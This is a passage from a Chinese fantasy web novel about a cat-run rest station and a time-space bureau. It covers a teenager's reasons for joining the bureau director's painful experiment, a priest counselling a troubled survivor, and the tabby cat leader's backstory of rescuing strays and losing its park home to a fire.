我每天都在想,为什么这个世界不能只让有天赋的人出生呢?有天赋的人是贵重物品,所以会被小心翼翼地保管,生怕有什么磕磕碰碰。
他们的生活一定很开心吧。不过,这样也不全是不好的事情,至少还有人活得很幸福,这个世界就有存在的意义——我当时是这样想的。
周末拿到手机的时候,我还可以看看小动物,看看其他人分享幸福的事情,这样我会不自觉笑起来,会感觉轻松很多。
我有过一个很聪明的朋友。那个人什么都学得快,也特别会说话。我也不知道这样的人为什么要和我做朋友,但我很开心。
可是后来,那个人休学了,据说是精神出了些问题。我知道是因为戴亮橙色的假发片而被家里人扇了耳光,十个,应该很重吧,最后半边眼球破裂。
我手机里还存着那个人最后能正常交流的时候发过来的消息——‘救我’。
当时是周四,我的手机在家里人那边,这个人第一个告诉了我,但我去了学校后,却是最后一个知道的。
我听见有几个人在议论说:‘可惜了,成绩那么好……不过心理脆弱的人之后在这个社会本来就活不下去。’
原来我的朋友也是劣质品吗?但我不愿意这样认为。他们说优胜劣汰,说自然选择,我说不过,但我就是不想这样认为。
所以我和他们打起来了。被通报批评后回了家,我又被家里人打了一顿,很痛,具体记不清了,但是很痛。
就在同一天,我被那个奇怪的休息站召唤了过去。你送我到了这里,然后我遇到了所长,祂告诉我这样不对,并且甩给我了一大堆逻辑论证。
我没听懂,但是我很高兴宇宙里最聪明的人也认为我的朋友不是劣质品。祂说,生命不是物品,如果生命被放上价格天平,那么所有人最终都会变成劣质品。
祂要阻止生命变成物品,所以我想帮祂。我非常非常敬佩这位所长,是祂给了我勇气,让我能坚信我的朋友真的不是什么劣质品。
你送我来之前和我说过,你们尊重我的自由意志。所以不要担心我,我很好,甚至比任何时候感觉都要好。我要活着,我想……努力去改变。
我是出于自己的意志接受这些疼痛的。说实话,我从来没觉得,‘疼痛’可以是这么充满希望的事情——我承受的疼痛,或许可以减少别人的痛苦。
当我和所长这样说的时候,祂的表情看上去有些奇怪。我本来还以为祂是什么高科技机器人,后来才知道原来是不太一样的人类啊。”
…………
时间转回到现在,暮时死死盯着所长,表情紧绷着:“你承诺它们的付出是有价值的,让它们认为找到了自己生命的价值,你有多少把握?”
“没多少,事先就知道结果的事情不管叫什么,反正不叫‘实验’。我如果知道结果,就不需要进行实验了。”
暮时抬起枪指向所长,诘问道:
“……那我问你,如果你最后发现你是错的,你准备怎么弥补这个烂摊子。”
她以为祂听到这个问题至少要犹豫一下,没想到祂歪了歪头,一副理所当然的样子:
“那我就自裁,不然呢?我为了消除异化,做了很多无法饶恕的事情,你看到的这个实验只是其中微不足道的一项。
如果解决不了问题,我还厚颜无耻地活着,那我就只是一个十恶不赦的生物而已了。没有任何人有权力原谅我,只有死亡才能证明我不是坏人。
我并不是想做这些事,只是没有任何人能帮我而已,你们都太笨了——无意冒犯,我仅仅是陈述一个生理性的客观事实,我的生命结构就是这样。”
关于“笨”这一点,暮时知道所长说的确实是管理局里人尽皆知的事实。祂从诞生在低科技世界开始到进入宇宙文明只用了二十八年,并且以一己之力推动了宇宙科技的发展。
所长走上前两步,抬手将暮时的枪口向下压了压,语调平稳得毫无变化:
“如果你能让智慧生命群体停止异化趋势,我现在就可以停机给你看。我可能最终被证明为愚蠢、无知又无能,但我不是坏人。”
暮时怔愣了一会,皱起了眉:“那你的目的是什么?满足研究的欲望吗?”
“又来了,你们为什么总是认为,我一定喜欢研究呢?天生擅长,就一定要喜欢吗?对我来说,研究只是一种我擅长的手段。”
所长叹了口气,显然经常被问道这种问题,
“类比一下的话,你会说你喜欢用两条腿走路吗?天生的天赋并不是什么值得骄傲的东西,只是概率上的幸运罢了,为此看不起别人是一种愚蠢。
我只能告诉你,我被别人帮助过,然后那个人向我许愿说,想要所有的生命都有幸福的可能性,所以我就在做了,仅此而已。
至于其他的,你没有权限知道我的事情,我也不应该告诉权限不够的人。一个标准宇宙时后我才能完成例行检查,这段时间你们自由参观吧。”
说完,所长便松开手,看也不看一人一猫,只是站到玻璃容器前一个个询问里面的生物今天感受如何。
狸花猫歪着小脑袋看看暮时,又看了看所长,有些疑虑地压了压耳朵,随后走到暮时脚边,用爪爪拍了拍她的脚腕。
“……没事。前辈,我稍微静一静。”
暮时蹲下身,抱起了狸花猫放到膝上,轻轻揉着它的毛毛,随后将额头靠到了猫猫肚子上,喃喃自语,
“该怎么办……”
这是暮时从成为执掌者后,第一次感觉到了“无法解决
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”而带来的无力。她救不了宁诚,就算将他拉出这个实验室也没有意义。
为什么生命必须承受痛苦不可,该怎么样才能消除这样的痛苦,为什么好像怎么选都无路可走,怎么选都解决不了问题。
狸花猫轻轻用肉垫拍了拍暮时的头,软软的肉垫微微陷下去了一点,试图稍微安慰一下。
想要消除其他个体的痛苦、会为其他个体的痛苦而难过,这种事情是不需要理由的,宁诚是,暮时是,狸花猫也是。
它舔了舔暮时的头发,试图为她顺毛,然后发现人类的头发舔不顺,有些无奈。
一只猫能做什么呢?一只猫只能让人埋着毛毛安静待一会。就算狸花猫不是普通的猫猫,它能做的事情也不多。
“猫,过来一下。”
所长不知为何又折返了回来,低头看着狸花猫和暮时,看样子不像是来安慰人的,
“我从别的世界抓了一批流浪猫过来,你去帮我说服它们安静待在治疗舱里,把那些乱七八糟的病都弄好,顺便升级一下智能。”
狸花猫喵了一声算是应下了,所长瞥了一眼也慢慢站起身的暮时,叹了口气:
“‘看见’是第一步,如果连睁开眼睛的痛苦都忍受不了,我劝你辞职回你的世界,继续去做普通的执掌者,这样会轻松很多。”
对于正常人来说,凝视别人的痛苦就如同在热水中睁眼一般。闭上眼睛不看不听别人的痛苦,就能远离因为共情产生的苦闷。
狸花猫跟着所长来到实验室,看见“祂们”正面对着大约七八十只到处乱跑的流浪猫束手无策。
和狸花猫还不太一样,一般的猫猫尚且没有达到能被判定为“智慧生命”的程度,即便对于所长来说,也非常难以沟通。而强硬抓捕的话,又容易让猫应激。
术业有专攻。狸花猫跳到高处观察了一会,大概感受到这些流浪猫似乎都是来自一个区域,应该是所长按区域直接拉过来的。
那就好办了。
狸花猫很快找到了其中几只明显地位比较高的猫猫,开打。所长面无表情地看着狸花猫喵嗷喵嗷地叫着,把几只猫猫打到翻肚皮认输,迅速成为了老大。
打完后,狸花猫咬了咬所长的裤腿,跳起来拍了拍祂的口袋。所长掏出猫条,疑惑地微微皱眉,但还是蹲下身撕开包装,让狸花猫能吃到。
本来祂以为狸花猫只是中途讨要一下报酬,没想到,它只是浅浅舔了几口,用嘴巴蹭了蹭猫条,然后跑到猫群里开始和其他猫猫互相闻嘴巴。
不一会,它身后就跟了一队流浪猫。它率先跳到治疗舱里,用爪爪拍了拍玻璃示意所长关门。
就这样走完了一个标准流程后,狸花猫在其他流浪猫的注视中又跳了下来,而所长会意地给它喂了猫条。
一套下来,猫群中有几只聪明猫猫蠢蠢欲动,试探着跳上了治疗舱,乖巧地看着所长。
“行,我知道方法了,你跟着那个我,准备返回休息站吧,路上给你罐头做报酬。”
所长指了指另一边的祂,而狸花猫喵了一声应下,跟着祂又找到暮时,两人一猫上了载具。
25. 从前有位卖报人
以拯救所有智慧生命的角度来看,这个世界谁不无能?
猫不懂,猫在沉默而尴尬的载具内吃罐罐,而且还吧唧嘴,吧唧得很响。
被载具放下后,狸花猫甩着尾巴开心地跳回了休息站,绕着几只相熟的猫猫互相喵喵叫着打了个招呼,互相闻了闻嘴巴,又跑回自己的窝里伸着懒腰打了个哈欠。
舟车劳顿,虽然猫既没开车也没走路,但辛苦猫了。
其他猫猫看着狸花猫在窝里睡觉打呼噜,也没吵它,而是继续营业维持休息站运作。
独木不成林,一只猫猫三个帮。虽然销冠能文能武手段过硬,但一只猫猫能做的事情当然没有一堆猫猫能做的多。
有时候,休息站的猫猫们也难免起冲突,爪爪扒拉来扒拉去,一时间猫毛满天飞,有些刺耳的猫叫声也不利于营业,会吓到客人。
通常这时候,如果双方只是玩闹打斗的时候打上头了,狸花猫会喵喵叫着了解情况,然后用猫猫拳解决问题。
而如果是更复杂一点的猫际纠纷,狸花猫就会交给德文猫与布偶猫进行处理。这两只猫从以前开始就更擅长这个了。
两只猫猫的区别在于,布偶猫平时状态相对放松,对陌生人熟悉得也更快,更适合做引路猫猫。
而德文猫对陌生人需要更多时间熟悉,偶尔会明显有看气氛的紧张举动,但它记得每个客人的特点,是记性非常好的细心猫猫。
其实德文猫本来应该是一只比较外向的猫猫,但在理解了自己是因为被前主人嫌烦丢弃后,性格就内敛了很多,偶尔还有点小心翼翼的。
不过它依然很友善,而且享受和其他猫或者人待在一起的时光,乐于主动维护猫际关系。
相对的,狸花猫此猫则会睁着无辜的圆溜溜猫猫眼,然后一秒钟左右开弓十个猫猫拳。
世界以痛吻猫猫,猫猫报之以两巴掌。梆梆。
而德文猫与其他猫猫相比,没有布偶猫那么长的毛毛,只有一层短短的小卷毛;也没有那么强的互动体验,比不上奶牛师傅和橘猫面包;更不像销冠一样精通人类心理学,特别会撒娇打滚卖萌。
它在猫猫休息站的生态位……一言以蔽之,是猫猫忏悔间兼倾听室。
所以很多处于纠结与痛苦中的客人都会抱起德文猫去隔壁独立的房间倾诉,而被抱走的德文猫就会回过头对销冠喵一声,让对方注意到它是去别的房间营业了,而不是突然被抢走了。
没办法,德文猫是本休息站身价最贵的猫猫。从前大家一起流浪,在人类公园的猫猫站生活得好好的时候,德文猫就经常被猫贩子掳走,好几次还是靠着狸花猫从窗户溜进去,开了门才让它逃跑。
这就导致狸花猫对这只贵贵的猫格外注意,而德文猫也格外粘着狸花猫。有时候其他猫被狸花猫烦得不得了了,德文猫还喵喵叫着应和狸花猫。
一来二去,两只猫猫顺理成章地赖在了一起,狸花猫兴风作浪为非作歹的时候,德文猫就跟在后面道歉。
抱歉我们的首领打扰到你们了,但下次它大概还这样,对不起喵。
总之,这次抱走德文猫的是卫锦程。她看上去状态比之前好多了,似乎并不难过,只是莫名其妙有些纠结的神色。
狸花猫抬头看了一眼,看到是卫锦程后便跳下桌绕着她转了两圈,然后跳起来把另一间房子的门把手拉开了。
作为以猫猫为中心的休息站,当然都有配套猫猫进出门的猫猫小门,但狸花猫作为销冠,也会通过开门这个动作来让客人开心。
销冠注意细节,礼貌体贴,销冠好。
卫锦程对狸花猫点点头表示感谢,关上门后,将德文猫放到桌子上,轻轻揉了揉它的脸颊,沉默了一会才开口。
“我处理完了,人杀了。那人领地里的人,我分批带到了最近的聚集地。是大型的聚集地,应该比他们之前的生活还要好一点。”
在她的世界里,普通人不得不依附强大的异能者生存。而这些异能者的人品有好有坏,但在聚居地分散的情况下,普通人没有跨越不安全地带的能力,他们没得选。
“按理说,这件事情到这里就结束了,但是我感觉……有点不舒服。”
卫锦程感受着手上德文猫卷卷的毛发触感,继续说道,
“该怎么说呢,我有些高兴,但我突然间又不高兴了。我自己都不知道自己在想什么。那个大型聚居地的异能者们人都不错,他们好像是认真在考虑人类的未来。
他们的聚居地叫‘文明’。他们告诉我,在各个地方还有很多叫做‘文明’的聚居地,都是志同道合的人。他们问我愿不愿意加入帮助散落的人类前往聚居地的工作。”
显然,卫锦程依然不擅长和人交流,说话断断续续的,偶尔还有点前言不搭后语,想起什么说什么。
“我觉得我愿意,但我有时候又不愿意,这种感觉很难受。我不知道该怎么做。”
德文猫听着听着,突然喵喵叫了几声,好像是让她等在这里,随后跳下了桌,向门外跑去。
不一会,卫锦程看见一脸茫然的牧师泽安德被德文猫拖了进来,本能将椅子向后撤了撤,摆出防御的姿态方便随时起身。
“呃,您好,请问您是受伤了吗……看样子好像没有。那么,请问您有什么需要我做的事情吗?”
泽安德笑了笑,稍微有些不解。按理来说,凯桑德拉与乔伊斯都和面前这位更熟悉,但德文猫偏偏拉了他来,也不知道是什么情况。
不过,这里的猫总有猫的道理。卫锦程既然是在为了帮助人而纠结,那就拉一个职业就是帮助人的人类过来,说不定能帮上忙。
卫锦程想起之前猫猫们喵过,这个牧师从很久前就在帮它们治病疗伤,姑且放下了些戒备,简单而谨慎地说了一下自己刚才纠结的事情。
“原来如此……您确实是个很温柔的人啊。”
泽安德轻轻眨了眨眼睛,忍不住笑了起来,
“我之前在告解室值守的时候,也听过很多类似的情况。我想问问您,您说的‘不愿意’的情绪出现时,是不是会感觉,好像有一个并非是您的人在指责您?”
“……?”
“抱歉,我好像说得太模糊了,如果要更具体描述的话……”
泽安德始终带着温和的笑容,认真想了想,
“‘愚蠢、多管闲事、自作多情、没有好处’……您是否感到了类似这样的声音在批判您,压抑了您想要帮助别人的想法。”
眼看着卫锦程顿了顿,泽安德便知道自己大概是说对了,在心里暗暗松了一口气。
事实上,确实只有奇幻世界的人们才能开解卫锦程。因为她是在文明突然崩塌后,在混乱无序的世界里流浪的现代人。
这个世界突然变得不再兼容她的道德思想观念,她不知道该如何处置这样一个又一个道德问题,文明世界不会告诉她该如何面对其他哭喊着求生的人类。
但这些答案,恰巧从小便生活在混乱世界中的原住民,基本都有一套自己的回答——乔伊斯是,泽安德也是。
“我想,这些声音,大概是您那边世界中
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的文化与他人带给您的,而并非是您的本心。”
泽安德说话慢悠悠的。牧师基本都这样,目的是让来访者处于更放松的倾诉状态,
“作为牧师的时候,我有责任劝人行善向善,但我已经被教会除名了,所以我就只说说我们世界里一个著名的故事吧。
从前,有一位努力工作的卖报人,他的梦想是攒钱去城市的大剧院内看一次戏剧演出——看他小时候最喜欢的童话故事被改编成的戏剧。
他想亲眼看人演绎那美妙的爱情故事,想看他从小翻到书页都旧了的童话故事在他面前展开。
再攒一点吧,再攒一点就可以买更靠前的座位;再攒一点吧,再攒一点才够之后的生活;再攒一点吧,战乱就要来了,谁知道之后还能不能挣到钱呢……
周围的人都嘲笑他,嘲笑他居然想像那些城里人一样坐在剧院里。如此几次,卖报人便不再和人提起自己的梦想,也越发沉默寡言。
是啊,这不值得。一个银币可以生活一个月,却只能在剧院里买到区区一个位置,只能买到两个小时的梦想。无数的声音告诉他,这不值得。
最后,那本童话书被苍老的卖报人压了桌脚,在一次漏雨时受潮破损了。而他只是看着存钱罐内的钱币,轻叹了口气,喃喃自语。
‘再攒一点吧……咦,我是为了什么而攒钱的来着?’”
房间内的空气仿佛都随着他的语速慢了些。卫锦程盯着面前的牧师,而泽安德只是继续轻缓地说道:“或许您更应该考虑的是‘想不想’,而不是‘值不值’。您足够想要,那就行了。”
德文猫在旁边安静地听着,耳朵微微动了动。它觉得,卫锦程既然在为了帮助他人而苦恼,那么将帮助他人当作职业的人,或许能更好地帮上忙。
所以,我们为什么要帮助他人呢?
“我认为,我们需要被爱的同时,也天生就有想要爱别人的需求。看到陌生的同类哭泣、痛苦或伤病时,大部分人都会本能感到不适。”
泽安德轻轻笑着,但微妙地偏了偏头,
“想要帮助别人,想要消除痛苦……这样的想法可以是天生的,可以不需要任何理由,您可以将这些当作类似于吃饭睡觉一样的正常需求,以满足自己的需求出发,去随心所欲地帮助别人。
能够随心所欲地帮助别人、以及能够去爱别人而不被伤害是强者的特权,不知道这种想法会不会让您感觉更好一点呢?”
卫锦程沉默了一会,看着泽安德认真说道:“你们世界的人,都喜欢讲废话。”
“毕竟很多事情本来也没有答案,我们就当随便聊聊天吧。”
泽安德脾气好,也不生气,只是又笑了笑,
“之前小老板——就是那只狸花猫,我跟着凯桑德拉这么叫的——它给我看过休息站的故事记录,我觉得你可以问它要来看看。”
“……它为什么给你看过?”
这下卫锦程莫名有点不高兴了。狸花猫作为销冠,属于那种比较会给客人端水的狡猾小猫咪,一般来说会对喜欢它的客人一视同仁地营业。
此猫在最初当流浪猫的时期,就领养了好几个人类喂它东西吃,早已熟练掌握给人类端水的相处技巧。
“因为当时我要了解一下它们以前得过什么病,或者有没有吃过不干净的东西。”
泽安德无奈地摇了摇头,想起那个故事,忍不住叹了口气,
“你问小老板要的话,它肯定会给你看的。嗯……是个很可爱但很悲伤的故事,我非常推荐你去了解一下。”
26. 今天狸花猫离家出走了吗
据统计,大部分智慧生命都至少尝试过一次和不被判定为智慧生命的动物说话。
卫锦程看着面前乖巧坐着的狸花猫,思考了一下,最后还是说了她想了解一下猫猫休息站的事情。
狸花猫喵喵地应了几声,欢快地跳下桌,走到自动售货机前,在猫猫用的小屏幕上用爪爪拍了拍,随后,自动售货机吐出了一本厚厚的书。
“喵——”
听到狸花猫的呼唤声,卫锦程跟了过来,蹲下身看着狸花猫咬着书的一角将书往外拖,伸手帮忙拿了出来,看了看封皮。
这本书的封皮很可爱,有些奇奇怪怪的小鱼和罐罐贴纸,还有几个猫爪的凹槽,狸花猫自信地将爪爪放了上去,卫锦程发现这个凹槽正正好和它的爪爪吻合。
同时封皮上还有几个歪歪扭扭的字——《今天狸花猫离家出走了吗》。从书名来看,此猫绝非善类。
卫锦程翻了翻,前面三十几页都是狸花猫在自己一只猫闯荡江湖。猫上树掏鸟巢,猫在河边抓鱼,猫躲避咬猫的野狗,猫蹭蹭友善人类卖萌讨饭。
一般来说,猫猫间的打招呼是互相闻闻嘴巴,看看对方最近有没有接触过食物资源,这就是猫猫界的“你吃了吗”。
而能够得到食物资源的猫猫,会被其他猫猫重点闻嘴巴,并且会被跟随。这就是人类喂了一只猫猫后,慢慢周围会聚集来更多猫猫的原因。
狸花猫凭借聪明的小脑瓜总能把自己养得很好,总能找到好吃的,所以它周围慢慢聚起了跟随它的猫猫群。
跟着狸花猫,哪怕是不适应流浪生活的德文猫和布偶猫,也总算是活了下来。
在猫猫多到一定数量后,狸花猫开始用它的小脑袋进一步思考了。猫猫的世界很简单,规则架构和狗狗不同。一般来说,猫猫会以自己为中心去观察这个世界。
它觉得自己打不过的,就是上位生物;它觉得和自己差不多的,就是同位生物;它觉得自己能打过的,就是下位生物。
只要一直不攻击或者惊吓猫,就会慢慢被猫判定为友善生物。猫坚持认为,领地内的友善生物都会保护领地。
小猫咪也有领地意识,但和狗狗的上下级架构不同,小猫咪的管理方法要更加松散,更加自由。对群体狩猎的狗狗来说,群体的扩大意味着可以狩猎更大的猎物;而对习惯独自狩猎的猫猫来说,群体成员数量增加只是意味着领地更加安全了。
猫的领地架构,一言以蔽之——大的管小的。猫本身会保护下位友善生物,所以更多的上位友善生物会给猫带来安全感,因为猫默认它们都会保护它。
这个理论具体到现实情况,就是学校与快递站的猫猫明显更加安定;而家庭中,如果人类不在家,猫猫就会担心自己能不能保护好领地,进而因为缺少上位友善生物而不安。
当然,每只猫猫性格都有些不同。猫猫个体中有销冠狸花猫这种独立且自信的猫猫;也有英短那种胆子小小窝窝囊囊的个体。它们对安全感的需求是截然不同的。
言归正传,狸花猫当然自认作为老大有保护其他猫猫的义务,于是便用小脑袋想来想去,猫毛都想掉了些,终于想出了个聪明办法。
从长时间和人类的相处中,狸花猫早就明白了,人类不喜欢鼠的尸体,但喜欢花,每次它叼来花都能换到好吃的食物。
因此狸花猫在很长一段时间内,都认为人类喜欢吃花。毕竟每次它给人类送花,人类都要莫名其妙闻一闻花,然后收起来拿回家,肯定是要回人窝里偷偷吃。
狸花猫自己也因为好奇偷偷尝过花瓣,然后闹肚子了。猫猫的身体对植物的消化能力本身就稍弱些,当时的狸花猫也只是一只普通猫猫。
不过,狸花猫也是真的很聪明。它能明白,人类在室外空旷地带——尤其是周围有其他人类看着时——伤害它们的概率要更低,更有可能给它们好吃的。
它选定了比较热闹的公园作为据点。有亭子可以用于躲雨,有复杂的树林地形可以用于躲藏,柔软的猫猫在这里很安全,可以藏到人类摸不到的地方。另外,附近还有小卖铺,方便人类买东西给猫吃。
把其他笨猫猫带到地方也确实废了狸花猫一番功夫。它在宠物店里偷了好吃的罐罐叼走,拜托路人帮忙打开,然后在其他猫猫周围转了一圈,让它们闻闻它的嘴巴,吸引着其他猫猫一起浩浩荡荡地迁徙到了公园。
光这样还不够,狸花猫还将自己的讨食物方法通过一遍遍示范慢慢教给了其他猫猫。最先学会的就是德文猫和布偶猫——它们两个原先就是宠物猫,很擅长和人类相处,而且小脑袋相对好用一点。
流浪猫猫里的布偶没那么多,德文更是目前只有这一只。狸花猫想了想,便和它们两个一起教别的猫猫给人类送花。
别的猫猫可能笨笨的,但是看了几次狸花猫用花在小卖铺门口换来食物后,慢慢就学会了。
小卖铺老板是一位慈祥的老婆婆。她在发现这些猫猫帮她揽了生意后,时不时也会拜托孩子帮忙给猫猫们带些猫粮和罐罐。
狸花猫有时候会喜欢和她一起坐在摇摇椅上,安静地午睡,被老婆婆摸摸也不跑。行动慢悠悠的老人能给敏感的猫猫足够的安全感,它喜欢待在这里。
老婆婆是狸花猫来到公园后认定的第一个友善上位生物,也是狸花猫最喜欢的人类。她偶尔会给狸花猫做些好吃的猫饭——和罐罐不一样的猫饭,狸花猫很喜欢。
再后来,大家都出了名,这里成了猫猫公园,猫猫们在不知情的情况下有了“编制”,而老婆婆的小卖铺也成了个著名打卡点。
小卖铺的货架上了猫粮、猫罐头和各种猫猫玩具零食。老婆婆特意把猫玩具摆在外面,让路过的猫猫可以随便用爪爪拨弄着玩玩。有猫猫在玩的猫玩具卖得特别快。
德文猫的毛毛短,根本不适合野外生存,经常有这样那样的病。德文猫生病时,狸花猫就会带着它在政府工作人员的值班室门口超大声喵喵叫。
有的猫猫笨,生病了也不懂,只知道自己痛,自己不舒服。狸花猫知道,每次看到有猫不舒服,就带它们去找可靠的制服人类。
其实狸花猫也没完全理解为什么穿着制服的人类要管它们的死活,它只知道,这个花色的人类会带它们去治病。
如果狸花猫再更聪明一点,能够理解小猫在人类眼中有品种之分,那么它或许会疑惑人类是不是也有品种,但很可惜,它还没有聪明到那个地步。
对猫猫来说,能理解人类不是超级大就已经是很聪明的小猫咪了。所以它只知道猫猫平等,人人平等。猫有聪明猫猫和笨猫猫,人有好人类和坏人类。
所以它无法理解,为什么好像有那么多人类偏爱德文猫,却又有那么多人类
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都要欺负德文猫。
德文猫是品相很好的贵猫猫。有时候狸花猫一个不注意,德文猫就被猫贩子抓走了。它太温和了,不愿意对人类动爪子,好像总是对坏人类也抱有些不切实际的幻想。
狸花猫不一样,它会顺着窗户跳进猫贩子的家,用爪爪打开又脏又拥挤的猫笼子,把猫贩子家抓得稀巴烂,然后公园里又多了十几只新猫猫。
有折耳猫,也有矮脚猫。它们这些带着先天疾病的猫猫无法被治愈,只能勉强过活。狸花猫求了好几次制服人类,然后发现他们好像也无能为力。
后来又有一个人把德文猫抓走了,狸花猫跟着去在窗口观察了一下。这次不是猫贩子,家里很干净,还给德文猫买了猫窝和零食玩具。
于是狸花猫就走了。猫猫的思维依然很简单——虽然没猫给它捧场了,有些遗憾,但它很喜欢德文猫,所以如果德文猫能过得好,那也行。
可是狸花猫不明白,人类总是不珍惜太容易得到的东西。它更不明白有的人类会把生命当作“东西”。
在回访时,狸花猫发现这户人家总是没时间陪伴德文猫,甚至拖着不带它去治疗皮肤病,于是它又一次把德文猫带走了。
这只温柔的小精灵猫猫好像每次离幸福都差点运气,所以狸花猫做了个决定——谁规定一只猫猫不能养另一只猫猫了。
或许生物聪明到一定程度,就会有爱与被爱的需求,就能拥有推己及其他生命的共情能力。狸花猫很开心,它被猫和人爱着,也爱着其他有点笨笨的同伴猫猫。
偶尔,它也会疑惑,为什么小卖铺的婆婆再也没回来,而是一个和她长得有点像的年轻人类在那里呢?
那个年轻人类抱起狸花猫,在它挣扎着跳走之前,给它闻了闻老婆婆的衣物,它便安静了下来,被带到了一个小小的土堆前。
狸花猫看着照片,鼻子动了动,很疑惑为什么闻不到熟悉的气息,随后在墓碑前盘了盘身子,试图趴下。
不舒服,凉。
听着年轻人类的叙述,狸花猫的耳朵时不时微微抖一下,慢慢理解了“死亡”的概念。好像对于活着的生物来说,就是再也见不到了的意思。
好吧,那好像不是猫猫能处理的事情,希望老婆婆在它见不到的地方也很开心。
它轻轻喵了一声,在附近跑了跑,咬了朵花放到墓碑前。它还是不明白人类为什么喜欢花,但它知道人类喜欢。
再之后,狸花猫就开始喜欢听人类交谈了,它聪明的小脑袋注意到了,这个世界好像有些除了它本能之外的东西。
观察、思考、掌握规律运用……其实这些事情它之前也会做,但它现在才真正注意到,并且开始对这个世界产生了属于猫猫的思考。
不过它依然是一只可爱的猫猫,无忧无虑地和其他猫猫在公园里讨饭,不知不觉给城市增加旅游收入。
它会一次性摘好多花让布偶猫背着,再让德文猫负责收好拿到的食物,而它则负责喵喵叫着吸引别人注意。它们在公园里面四处游荡,成为了本公园的三只代表性猫猫。
红花粉花小白花,路过的客人要摸摸猫吗?那边的客人请放下你手里的员工,领养要去找制服花色的人类,谢谢配合喵。
不过事实证明,人类在面对环境倾轧时都羸弱无力,更不用说狸花猫这样只有8斤的小猫了。
27. 遗憾总是如影随形
卫锦程看到这句话时,翻页的手指突然顿住了,本来不自觉挂上的笑容都有些凝固。她不太想知道接下来发生了什么,但还是继续翻了下去。
在秋天,草坪的草蔫了,失去生机的枯叶从枝头打着弯落下,落在地面的枯叶堆上。
为了抵挡日渐刺骨的冷风,猫猫休息站当然也建了门。不过这个世界不是猫的世界,人类的门也不适合猫猫用,也就只有几只相对聪明的猫猫能跳起来开门。
有时候人类怕猫不懂开了门会冷,就会把门锁上,让它们走窗户。窗户下是落叶堆,猫猫们往外一跳,扑腾一身枯叶,抖抖毛就去撒欢了。
某天深夜,狸花猫正在盘着柔软的身子睡着,突然耳朵动了动,抬起小脑袋眯着眼睛看向窗外。
好像有什么东西炸开的声音,轻微的噼里啪啦声在猫猫听来格外明显。
很快,狸花猫的小鼻子也闻到了烧焦东西的气息和呛鼻的气味,猫猫们都咳嗽了起来,纷纷远离窗户。
火。
不知道是夜间电动车充电设备线路老化引燃了枯叶,还是未熄灭的烟头在作乱,又或者将人类想得更坏一些……总之,一股焦烟的气息确实传入了室内。
笨笨的猫猫们只想远离异味源,而狸花猫一瞬间毛都炸开了,喵喵叫着想要驱赶其他猫,让它们都从窗户边上跳出去。再不出去的话,外面地上都是枯叶,待会可能就出不去了。
不行,很多猫猫的笨脑袋想不明白这个事,抗拒地逃避着狸花猫的驱赶。狸花猫无奈,只能对聪明猫猫喵了几声,然后率先从窗户跳出去,飞奔到人类的值班室,用爪子挠门喵喵叫着求救。
如果当天下雨;如果现在不是干燥的秋天;如果值班室再近一点……或者如果猫猫有权利拥有逃生通道,那它们的室内就不会只有一扇窗户。
狸花猫看着火烧到了公园的猫猫休息站里面,突然感到了无法抑制的悲伤。它的小脑袋不明白这种情绪是什么,只是尾巴耳朵都耸拉了下来,埋着小脑袋呜呜哀嚎了几声。
作为一只猫来说,它已经很努力了,但原来猫猫的幸福会被一场火就燃烧成灰,原来这个世界从来没有过程分。
它周围还有几只猫猫,有的是脑袋聪明些,有的只是单纯习惯跟随狸花猫的行动。德文猫靠在狸花猫身边,轻轻舔了舔它跑得乱乱的毛毛。
一般来说,两只猫猫都是互相舔毛的,但这时候狸花猫觉得自己的小脑袋晕晕乎乎的,它感到有些不舒服。
狸花猫不知道自己为什么晕乎乎的,还有点想呕吐。猫猫不懂自己发生了什么,它只知道自己很痛苦,很痛苦。
恍惚间,它好像看到了一个人影凭空出现,在它面前晃了晃。
“您好,我是时空管理局人事部的工作人员,检测到这里有超出标准值的个体情绪波动,特来邀请您加入……咦,是新种智慧生物?”
这就是现在猫猫休息站的由来了。在加入了时空管理局后,狸花猫执着地将公园内的情况喵了出来,于是技术部给它配了这么一台售货机,作为“小卖铺”。
而逃生通道,则是狸花猫特意喵的。一定要建在安全的,猫能离开的地方;室内的门都要有能让猫进出的多个小洞,保证猫猫来去自由。
这里的一切都要适配猫猫,服务猫猫,为了猫猫。
不过,狸花猫最后歪了歪小脑袋,喵了几句,还是要求把逃生通道改成了人猫两用的模式。
再然后,它便带着之前和它跳出了窗户的其他十只猫,连同时空管理局塞给它的那只黑猫,一起经营着这家新的猫猫休息站。
故事到这里就结束了。因为个体想要加入时空管理局,必要条件就是拥有足够充沛而强烈的感情,让自己的发展轨迹超出所长提供的机器能推演的范围。
“可能性”是这个宇宙中最为珍贵的天赋,而这种天赋,正是来源于带着智慧生命脱离固定轨迹桎梏的感情。
卫锦程看完之后,深吸了一口气,轻轻摸了摸狸花猫。狸花猫喵喵叫着蹭了过去,跳到卫锦程的大腿上压住书,张大嘴打了个哈欠眯起眼睛,无意间露出了尖尖的小牙。
而旁边正在低头给其他猫猫检查身体的泽安德抬起头,轻轻笑了笑。
“我从小老板这里也学到了很多。它是只很勇敢,也很厉害的猫猫。”
如果真的想要,那就不计成本。显然,猫猫比人更懂得爱和被爱的学问。
狸花猫的耳朵灵,听见了夸自己的话,抬起脑袋睁开一只眼睛瞥了泽安德一眼,懒洋洋地喵了一声。
见德文猫跳了过来治疗耳朵后面的一小块猫癣,狸花猫立刻翻了起来,踱步走到德文猫附近,和它趴在一起。
不过狸花猫还是拒绝让泽安德的手放在它的爪爪上,总是用超快的速度抽出来再压到他的掌心上方。
事到如今,泽安德已经明白了。狸花猫作为聪明猫猫习惯于操心这样那样的事情,所以需要爪爪时刻保持自由,以方便应对突发情况。
或许这是一种不错的礼节。之后泽安德在给警惕性很强的人群治疗时,发现手心朝上这个举动似乎能有效降低他们的戒备心。
在给猫猫们例行治疗完了之后,泽安德抬头看了看卫锦程,向她伸出了手,手心向上。
“之前看你用匕首的时候我有些在意,你的手腕上是不是有些旧伤?需要我帮忙吗?”
卫锦程犹豫了一下,警惕地将手伸了过去,轻轻搭在了面前的牧师手上,但明显随时准备抽回。
“谢谢,很快就好了。”泽安德轻声说着,没有做任何多余的动作,只是手心泛起了跃动的光点。
光点绕着卫锦程的手腕转了一圈,缓慢地修复着她的手腕肌肉和骨骼。卫锦程感觉到,像是将手伸进了温泉水一般舒适。
过了一会,卫锦程收回了手:“……你帮我治疗,为什么还对我说谢谢?”
“谢谢你信任我。而且,我喜欢帮别人消除痛苦,这大概算是我的天职。”
泽安德一副理所当然的样子,眯起眼睛笑了,
“而且,你也是希望帮别人消除痛苦的人吧。既然我们是一样的,那你随时可以找我治疗。”
